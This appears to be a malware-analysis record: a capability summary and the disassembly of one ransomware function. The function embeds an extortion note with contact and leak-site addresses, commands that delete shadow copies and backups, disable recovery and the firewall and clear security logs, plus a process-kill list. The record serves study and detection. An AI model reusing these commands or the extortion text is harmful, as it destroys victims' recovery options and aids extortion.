Function at 0x455050
Capabilities:
Clear windows event logs
Delete volume shadow copies
Delete windows backup catalog
Disable automatic windows recovery features

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5bf2c9
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x64ef14]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
call fcn.0044c240
lea esi, [edi + 0x3c]
mov dword [ebp - 4], 0
push 0x50f
mov dword [esi + 0x10], 0
mov ecx, esi
mov dword [esi + 0x14], 0xf
push str._____You_Have_Been_Compromised______n_nAll_Of_Your_Sensitive_Data_Encrypted_And_Downloaded._n_nIn_Order_to_Keep_Your_Sensitive_Data_Safe_And_Recover_Files_You_Have_to_Contact_Us._n_nDownload_tox_chat_:_https:__tox.chat_download.html_nAdd_And_Message_Us_on__:_nF6B2E01CFA4D3F2DB75E4EDD07EC28BF793E541A9674C3E6A66E1CDA9D931A1344E321FD2582_nIn_case_No_Answer_in_24h_Mail_to_:_pepe_decryptor_hotmail.com__n_nin_case_you_dont_contact_in_3_Days_You_Will_Posted_In_our_LeakBlog___nNews_about_this_Hack_will_ruin_your_reputation__nAfter_5_days_ALL_your_Sensitive_DATA__Customers_Confidential_Data__Company_Finance__Contracts__etc_..___will_Published_into_LeakBlog__nyou_will_face_with_GDPR_and_your_own_Customers___The_People_affected_will_get_mail_from_us_about_this_hack_and_how_their_Confidential_Data_is_not_Safe_anymore._n_nYou_can_download_TOR_browser_and_take_look_at_our_blog_:_nhttp:__arcuufpr5xxbbkin4mlidt7itmr6znlppk63jbtkeguuhszmc5g7qdyd.onion__n_nDont_panic___Your_Case_will_resolved_as_soon_you_contact_us_and_you_can_back_to_work_as_before_._nWe_hope_you_Consider_Risk_of_Data_Exposure._n_n____WARNING_:_n1._DO_NOT_MODIFY_ENCRYPTED_DATA_YOURSELF_OR_USE_THIRD_PARTY___IT_MAY_DAMAGE_DATA_AND_LEAD_TO_PERMANENT_DATA_LOSS_._n2._DO_NOT_STOP_ENCRYPTION_PROCESS___IT_MAY_DAMAGE_DATA_AND_LEAD_TO_PERMANENT_DATA_LOSS_.
mov dword [ebp - 0x14], esi
mov byte [esi], 0
call fcn.0044f2a0
push 0xfffffffffffffff5
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [edi + 0x54], eax
lea ecx, [edi + 0x114]
mov dword [edi + 0x58], str.vssadmin_delete_shadows__all__quiet
mov dword [edi + 0x5c], str.wmic_shadowcopy_delete
mov dword [edi + 0x60], str.bcdedit__set_default_bootstatuspolicy_ignoreallfailures
mov dword [edi + 0x64], str.bcdedit__set_default_recoveryenabled_no
mov dword [edi + 0x68], str.wbadmin_delete_catalog__quiet
mov dword [edi + 0x6c], str.netsh_advfirewall_set_currentprofile_state_off
mov dword [edi + 0x70], str.netsh_firewall_set_opmode_modedisable
mov dword [edi + 0x74], str.wevtutil_cl_Security
mov dword [edi + 0x78], str.msftesql.exe
mov dword [edi + 0x7c], str.sqlagent.exe
mov dword [edi + 0x80], str.sqlbrowser.exe
mov dword [edi + 0x84], str.sqlservr.exe
mov dword [edi + 0x88], str.sqlwriter.exe
mov dword [edi + 0x8c], str.oracle.exe
mov dword [edi + 0x90], str.ocssd.exe
mov dword [edi + 0x94], str.dbsnmp.exe
mov dword [edi + 0x98], str.synctime.exe
mov dword [edi + 0x9c], str.agntsvc.exe
mov dword [edi + 0xa0], str.mydesktopqos.exe
mov dword [edi + 0xa4], str.isqlplussvc.exe
mov dword [edi + 0xa8], str.xfssvccon.exe
mov dword [edi + 0xac], str.mydesktopservice.exe
mov dword [edi + 0xb0], str.ocautoupds.exe
mov dword [edi + 0xb4], str.agntsvc.exe
mov dword [edi + 0xb8], str.encsvc.exe
mov dword [edi + 0xbc], str.firefoxconfig.exe
mov dword [edi + 0xc0], str.tbirdconfig.exe
mov dword [edi + 0xc4], str.ocomm.exe
mov dword [edi + 0xc8], str.mysqld.exe
mov dword [edi + 0xcc], str.mysqld_nt.exe
mov dword [edi + 0xd0], str.mysqld_opt.exe
mov dword [edi + 0xd4], str.dbeng50.exe
mov dword [edi + 0xd8], str.sqbcoreservice.exe
mov dword [edi + 0xdc], str.excel.exe
mov dword [edi + 0xe0], str.infopath.exe
mov dword [edi + 0xe4], str.msaccess.exe
mov dword [edi + 0xe8], str.mspub.exe
mov dword [edi + 0xec], str.onenote.exe
mov dword [edi + 0xf0], str.outlook.exe
mov dword [edi + 0xf4], str.powerpnt.exe
mov dword [edi + 0xf8], str.steam.exe
mov dword [edi + 0xfc], str.thebat.exe
mov dword [edi + 0x100], str.thebat64.exe
mov dword [edi + 0x104], str.thunderbird.exe
mov dword [edi + 0x108], str.visio.exe
mov dword [edi + 0x10c], str.winword.exe
mov dword [edi + 0x110], str.wordpad.exe
push 0x1c2
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str._____BEGIN_PUBLIC_KEY______nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnskgxjvBVD7xoMxkIWAh_nEmHNEvkNEvHrJ4E0UaxeqBTMXb5QBtcP62AfKjx1zTtpPtdxgo9Ld8ohaif2Z__nmND6ErFoihVwOkPqr0pBIWzslZPfqXbLKKcp7_Ft2aDShrjiIz9FLuRrM8Xz3Kv_nsMorvAAowHYRogsxijkJZkvZq6OV6fAJaJ7rTFkFetLoAAoB07cB5IMwTnY2___nuhsVje3CLcoUEBmGgm44QYl1qYXmwR5CJtJ8qHL5ZjaChumbt7Q6Tkc5GIltkXFc_n4uztfjGzFKcdqxw0yeoJd3vNrGXv37we0KG7Gef08aSEaGNzyX8J_oUHWpLNPkh_nYwIDAQAB_n_____END_PUBLIC_KEY_____
mov byte [ecx], 0
call fcn.0044f2a0
mov byte [ebp - 4], 2
call fcn.00455930
mov ecx, edi
call fcn.004553e0
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
call fcn.00450d80
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 3
push eax
mov ecx, edi
call fcn.004556d0
lea ecx, [ebp - 0x20]
call fcn.00452ce0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret